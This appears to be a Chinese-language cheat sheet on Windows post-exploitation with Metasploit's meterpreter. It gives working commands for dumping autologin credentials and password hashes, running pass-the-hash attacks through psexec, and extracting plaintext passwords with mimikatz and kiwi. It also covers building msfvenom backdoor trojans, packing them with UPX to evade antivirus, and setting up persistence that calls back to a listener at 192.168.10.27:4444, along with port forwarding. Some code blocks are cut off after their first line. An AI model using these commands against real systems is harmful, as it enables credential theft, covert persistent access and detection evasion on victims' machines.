抓取用户密码
MSF 抓取自动登陆的用户名和密码
在 meterpreter 中执行
1 | run windows/gather/credentials/windows_autologin |
MSF 导出密码哈希
在 meterpreter 中执行以下命令
1 | run hashdump |
1 | run windows/gather/smart_hashdump # 该命令需要系统权限,如果当前用户是域管理员,则可以导出域内所有用户 hash |
用户哈希的输出格式为
1 | 用户名:SID:LM哈希:NTLM哈希::: |
获取到用户的哈希后,可以利用 psexec 模块进行哈希传递攻击
前提条件
- 开启445端口 smb服务
- 开启 admin$ 共享
1 | msf > use exploit/windows/smb/psexec |
mimikatz 抓取用户密码
除了上面方法外,还可以通过上传 mimikatz 程序,然后执行获取明文密码
执行 mimikatz 必须 System 权限,并且在执行时,要根据当前的系统位数进行选择
在 meterpreter 中可以使用 getuid
查看当前会话权限,使用 sysinfo
查看系统位数
使用 upload /path/file
上传 mimikatz 程序
执行 mimikatz 以进入交互模式
1 | execute -i -f mimikatz.exe |
在 mimikatz 交互界面,使用以下命令抓取密码:
1 | privilege::debug # 提升权限 |
模块列表
1 | cls:清屏 |
如果要查看某个模块的参数,可以使用 [model_name]::
查看
MSF 使用 kiwi 模块抓取密码
mimikatz 模块已经合并为 kiwi 模块,使用 kiwi 模块需要 system 权限,所以使用该模块之前需要将当前的 shell 提升为 system
利用其它手段先提权到 administrator 用户,然后 administrator 用户可以直接在 meterpreter 中使用命令 getsystem 提权到 system 权限
kiwi模块同时支持 32 位和 64 位的系统,但是该模块默认是加载 32 位的系统,所以如果目标主机是 64 位系统的话,直接默认加载该模块会导致很多功能无法使用
所以如果目标系统是 64 位的,则必须先查看系统进程列表,然后将 meterpreter 进程迁移到一个 64 位程序的进程中,才能加载 kiwi 并且查看系统明文。如果目标系统是 32 位的,则没有这个限制
在执行 sysinfo
确认目标系统是 64 位后,可以使用 ps
命令查看进程寻找 x64 的进程
然后使用下面命令进行迁移:
1 | migrate [PID] |
之后就可以加载 kiwi 模块了
1 | load kiwi |
kiwi 的一些命令如下:
1 | creds_all: #列举所有凭据 |
生成持续性后门
meterpreter 是基于内存 DLL 建立的连接,所以,只要目标主机关机连接就会断
所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机,我们就可以连接到该主机
建立持续性后门有两种方法,一种是通过 **启动项启动(persistence)**,一种是通过 服务启动(metsvc)
使用 Msfvenom 生成后门木马
参数列表
1 | –p : 添加载荷 payload 。载荷这个东西比较多,这个软件就是根据对应的载荷 payload 生成对应平台下的后门 |
生成木马命令
1 | # 安卓app: |
利用 upx 加壳
1 | upx -9 test.exe -k -o test2.exe |
启动项启动
将生成的木马放在 Windows 的启动目录中
1 | C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
这样,每次开机时,系统会自动运行这个木马
然后只要监听相应的端口就可以了
服务启动
运行命令
1 | run persistence -X -i 5 -p 4444 -r 192.168.10.27 # 反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀 |
然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动
设置 Socks 代理
端口转发
portfwd 是 meterpreter 提供的一个基本的端口转发,可以反弹单个端口到本地,并且监听
1 | portfwd add -l 3389 -r 192.168.11.13 -p 3389 |
然后只要访问本地的 3389 端口就可以连接目标主机的 3389 了
1 | rdesktop 127.0.0.1:3389 |